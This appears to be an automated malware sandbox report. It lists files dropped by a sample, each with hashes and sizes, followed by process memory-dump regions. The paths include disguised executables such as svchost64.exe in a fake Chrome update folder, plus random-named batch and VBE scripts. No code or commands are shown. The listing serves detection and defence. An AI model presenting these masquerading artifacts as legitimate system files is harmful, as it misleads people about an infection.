533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESF364.tmp

Filesize
1KB

MD5
4400b99934ae5350aceb4a5c7355c235

SHA1
5e03bd2216273ead358c1f3681a4a217090374de

SHA256
f36ddb753970b687f5f0bb611d872c6383aa1f1ce83cf658a62274e40a346919

SHA512
0cba371aa45cbcc565902709ef002068e1fb7b68234adbca4a7ba7a3d383775ab1bfa653e112bf797ba70fc01c6391bce58467eccdec292f4764d3d0ecd22a8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESF3B2.tmp

Filesize
1KB

MD5
bed75af2a9d08f0eeacbec2fc2daa7fe

SHA1
e7d65ff5fa6a09b2240189aa0791cf6084499ea4

SHA256
c441ff7a0987c018aee373e8200754903f477d66bc68f7ecac071913b2ac6848

SHA512
5c9117695a4a8eff050724d46787366478caf06d8a957a171049e714979babc58d2db4797345e1c99631a8ad93ab1c96cc5a770f8862f70706e5cb6a7a89456f

Download Submit
C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\ChainComServermonitor.exe

Filesize
3.5MB

MD5
5fe249bbcc644c6f155d86e8b3cc1e12

SHA1
f5c550ab2576d2daeff9cb72a4d41d1bcfee0e6d

SHA256
9308b0ce7206c60517db7207c488b4fa1cc313413e5378d8bac63b22cabcdd80

SHA512
b210c6b5d8db31d8f4ea82a79fe4679ced289636570e3fd72a45c488fd2cd75ed74677d723c1bfa67432e46e71901cb6551595e1053448c2f5e297829a6e1b39

Download Submit
C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\oGgyulsi03j6EO3sjCC.bat

Filesize
103B

MD5
77218ae27e9ad896918d9a081c61b1be

SHA1
3c8ebaa8fa858b82e513ccf482e11172b0f52ce0

SHA256
e09540a47f3647a9fdf9673281e2664441bbaee8d3236d22b1875b9d23abacab

SHA512
6a16b367a762132172830fd81c41c58ac49de788eed93d4c5526f8f0e6859703b336a137fd8d4fe7088b4110d72e5f4767b6462bc4651769924b67305719f30a

Download Submit
C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\pFG3Duil1NAbFHoInFFIi7JfPHXMZXRvb98S0ewJA0VkW.vbe

Filesize
217B

MD5
d6da6166258e23c9170ee2a4ff73c725

SHA1
c3c9d6925553e266fe6f20387feee665ce3e4ba9

SHA256
78ee67a8ae359f697979f4cd3c7228d3235c32d3b611303e070b71414591ba1e

SHA512
37a5a18acbb56e5458baebb12a4d3b3229b218eb606be3535d1c30e8e0d4fa969543889c587078456321209fe4503688432f45ff35a7af598b770393e7ae3b05

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpE7DF.tmp.bat

Filesize
256B

MD5
24c3d3c152a86ae431c6827a0b0611b9

SHA1
ccaa1e9bbe058c6d8cac343da5e3250c6bb4429c

SHA256
e68f457afea3e7b13ab342f59d21a8da1091a6f376a67fccbc2f066be66fc53c

SHA512
f4a277ecc95e93cbbe92f0c67914b72c7989d47c24e266265c9ec5cc81c9a1ee5e96544364a34d0b4f2441a5567216394ed450a633af099f0405a3e8a54366f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\ux23B9hjDE.bat

Filesize
187B

MD5
d6dc78f35dcdbc58efc39a306fcda845

SHA1
6ec32dc9c1fa047ae14c7a6e9b21cacd3494cc30

SHA256
c67a6e9bfdf0a2557b54f6ca20672a9d12fe0f26634b18cfb71aa716219b4c57

SHA512
dad0c2d797d99c128b2e396550c5294f8145a36421ee86541fffc373525e9cffa31ecaf3c0d9a906e8fe61773fd0530913261c3a18ef60f866e4799805c148e7

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe

Filesize
5.6MB

MD5
3d3c49dd5d13a242b436e0a065cd6837

SHA1
e38a773ffa08452c449ca5a880d89cfad24b6f1b

SHA256
e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf

SHA512
dd0e590310392b0543d47a2d24d55f6f091ba59acc0d7ea533039ffb48f1b8938587889bcfa19b0538a62ba26fcde2172253860ceab34af40fd7bf65b6587b00

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\svchost64.exe

Filesize
3.9MB

MD5
45c59202dce8ed255b4dbd8ba74c630f

SHA1
60872781ed51d9bc22a36943da5f7be42c304130

SHA256
d07c47f759245d34a5b94786637c3d2424c7e3f3dea3d738d95bf4721dbf3b16

SHA512
fff5b16ae38681ed56782c0f0423560dab45065685d7272424206f43c80486318180aa22d66bd197c8c530e4c24dbaaaa020beb76b619dc767ee59faa27e23ed

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ghtnprfx\ghtnprfx.0.cs

Filesize
422B

MD5
dac969c3b8eec4048cbd5328e2ea684f

SHA1
d25e6a3bced5216bcc86d67dc65d2f68378087e4

SHA256
76de1c3957a7eb8ee201166fcc7dcede0a282bdafdb3a81913d670bb580fb805

SHA512
1fe0bd5912c054513fb241b3beb16161d3fc1d5f5814b6ec5c046a82a5d37cc6750eea31f95003901552eac8d30345f2032ac96bacbd048233d8f5ae8c10d517

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ghtnprfx\ghtnprfx.cmdline

Filesize
268B

MD5
12e3b1e9e224afad159e0eb6dc7cce41

SHA1
6f18eece82bbe5397713318b0b4f5e58dc8b2028

SHA256
1a1bed5bc48689cc63cfe5fef1a28e15e71981c367b0b63572684b573b8dfc50

SHA512
09006b3a6832836f021a387272f2c51ce22dd0b1a478e93d2199b0ed34ff32d4835736bb2644f5b38f63e27d8405bced18f22c85b08ac7626dbe1bec90e22470

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xa0po4ay\xa0po4ay.0.cs

Filesize
389B

MD5
c16d4af06387097b1cfd746ce64a5b6b

SHA1
fa99030309f819ddbfe53c7c2ab7ece9ace5fb1f

SHA256
e9b3588ce972f26b3d8e5a0419b1ffc879161b6e856a74a19e68f632708b15f3

SHA512
b0e4e10540a741d9368551531e5b614b64b5ecc690c22652d943a466fc022ed3974ac2a046f648c8d32076c62120a33dbc44dc2ac3a0466617d73cb987a2670d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xa0po4ay\xa0po4ay.cmdline

Filesize
235B

MD5
a24e10b2d62b78137afbacbf35d418a7

SHA1
7481d83589ce9e2dbca8e0b736e9c158bd88aefe

SHA256
b5867a9e288124fee7ff4dddc7270668a91211abb7a5923ae1e4366a2540a2f4

SHA512
36b6c5216b9d916595c005086dae926256b3b0f634323a9633591177009a0e10e6063e8bdb7e7199de2e2262551f1e2cd9228a1f9e6b68006d3de02ab7bcae02

Download Submit
\??\c:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\CSCEE596E2792E34875A618226CF24F78A2.TMP

Filesize
1KB

MD5
bf38fe42913aaab3060562f036c56781

SHA1
2569e40a60e393e85be2c50cfa830c2e1430822c

SHA256
0e8f131ad2ed72fddaea0919a88aedfa09cfe5ae30f6fd675ab1fd7ece211cac

SHA512
42d67abd60177063dc22601c7b0c76aa53000d3196a2bb4c123d2992b907518850c767b2097e0663941ae6c292d95ef08569156e2a286e996662d541d6986f86

Download Submit
\??\c:\Windows\System32\CSC32013B7DB9284D1F88B45CBC2762AB2.TMP

Filesize
1KB

MD5
65d5babddb4bd68783c40f9e3678613f

SHA1
71e76abb44dbea735b9faaccb8c0fad345b514f4

SHA256
d61a59849cacd91b8039a8e41a5b92a7f93e2d46c90791b9ba6b5f856008cd8f

SHA512
21223e9a32df265bb75093d1ebaa879880a947d25ac764f3452b9104893b05f2c8fe4150cb2465681df7a0554dcefdb7f623aaf54772ade878270f453ebc1bcf

Download Submit
memory/1420-111-0x000000001BBF0000-0x000000001BBFE000-memory.dmp

Filesize
56KB

Download
memory/1420-101-0x000000001C120000-0x000000001C648000-memory.dmp

Filesize
5.2MB

Download
memory/1420-160-0x000000001C070000-0x000000001C119000-memory.dmp

Filesize
676KB

Download
memory/1420-119-0x000000001BD20000-0x000000001BD6E000-memory.dmp

Filesize
312KB

Download
memory/1420-117-0x000000001BCB0000-0x000000001BCC8000-memory.dmp

Filesize
96KB

Download
memory/1420-115-0x000000001BC10000-0x000000001BC1E000-memory.dmp

Filesize
56KB

Download
memory/1420-113-0x000000001BC00000-0x000000001BC10000-memory.dmp

Filesize
64KB

Download
memory/1420-74-0x0000000000890000-0x0000000000C22000-memory.dmp

Filesize
3.6MB

Download
memory/1420-76-0x000000001BA70000-0x000000001BA96000-memory.dmp

Filesize
152KB

Download
memory/1420-78-0x0000000001450000-0x000000000145E000-memory.dmp

Filesize
56KB

Download
memory/1420-80-0x00000000014D0000-0x00000000014EC000-memory.dmp

Filesize
112KB

Download
memory/1420-82-0x0000000001460000-0x0000000001470000-memory.dmp

Filesize
64KB

Download
memory/1420-84-0x000000001BAD0000-0x000000001BAE8000-memory.dmp

Filesize
96KB

Download
memory/1420-86-0x0000000001470000-0x0000000001480000-memory.dmp

Filesize
64KB

Download
memory/1420-88-0x000000001BAA0000-0x000000001BAB0000-memory.dmp

Filesize
64KB

Download
memory/1420-90-0x000000001BAB0000-0x000000001BABE000-memory.dmp

Filesize
56KB

Download
memory/1420-92-0x000000001BAF0000-0x000000001BAFE000-memory.dmp

Filesize
56KB

Download
memory/1420-94-0x000000001BB70000-0x000000001BB82000-memory.dmp

Filesize
72KB

Download
memory/1420-96-0x000000001BB00000-0x000000001BB10000-memory.dmp

Filesize
64KB

Download
memory/1420-98-0x000000001BBB0000-0x000000001BBC6000-memory.dmp

Filesize
88KB

Download
memory/1420-100-0x000000001BBD0000-0x000000001BBE2000-memory.dmp

Filesize
72KB

Download
memory/1420-109-0x000000001BC50000-0x000000001BCAA000-memory.dmp

Filesize
360KB

Download
memory/1420-103-0x000000001BB10000-0x000000001BB1E000-memory.dmp

Filesize
56KB

Download
memory/1420-105-0x000000001BB90000-0x000000001BBA0000-memory.dmp

Filesize
64KB

Download
memory/1420-107-0x000000001BBA0000-0x000000001BBB0000-memory.dmp

Filesize
64KB

Download
memory/2116-20-0x000001D17D6F0000-0x000001D17D75A000-memory.dmp

Filesize
424KB

Download
memory/2116-27-0x000001D17E270000-0x000001D17E292000-memory.dmp

Filesize
136KB

Download
memory/2116-47-0x000001D17E240000-0x000001D17E252000-memory.dmp

Filesize
72KB

Download
memory/2116-26-0x000001D17F090000-0x000001D17F0E0000-memory.dmp

Filesize
320KB

Download
memory/2116-19-0x000001D17D670000-0x000001D17D67A000-memory.dmp

Filesize
40KB

Download
memory/2116-28-0x000001D17F0E0000-0x000001D17F40E000-memory.dmp

Filesize
3.2MB

Download
memory/2116-23-0x000001D17E150000-0x000001D17E18A000-memory.dmp

Filesize
232KB

Download
memory/2116-54-0x000001D17F5D0000-0x000001D17F67A000-memory.dmp

Filesize
680KB

Download
memory/2116-25-0x000001D17E190000-0x000001D17E242000-memory.dmp

Filesize
712KB

Download
memory/2116-24-0x000001D164D30000-0x000001D164D56000-memory.dmp

Filesize
152KB

Download
memory/3688-187-0x000000001D350000-0x000000001D3F9000-memory.dmp

Filesize
676KB

Download
memory/4156-0-0x00007FFBA0A03000-0x00007FFBA0A05000-memory.dmp

Filesize
8KB

Download
memory/4156-8-0x000002212E140000-0x000002212E15E000-memory.dmp

Filesize
120KB

Download
memory/4156-7-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-6-0x000002212E310000-0x000002212E386000-memory.dmp

Filesize
472KB

Download
memory/4156-12-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-1-0x000002212BFC0000-0x000002212C560000-memory.dmp

Filesize
5.6MB

Download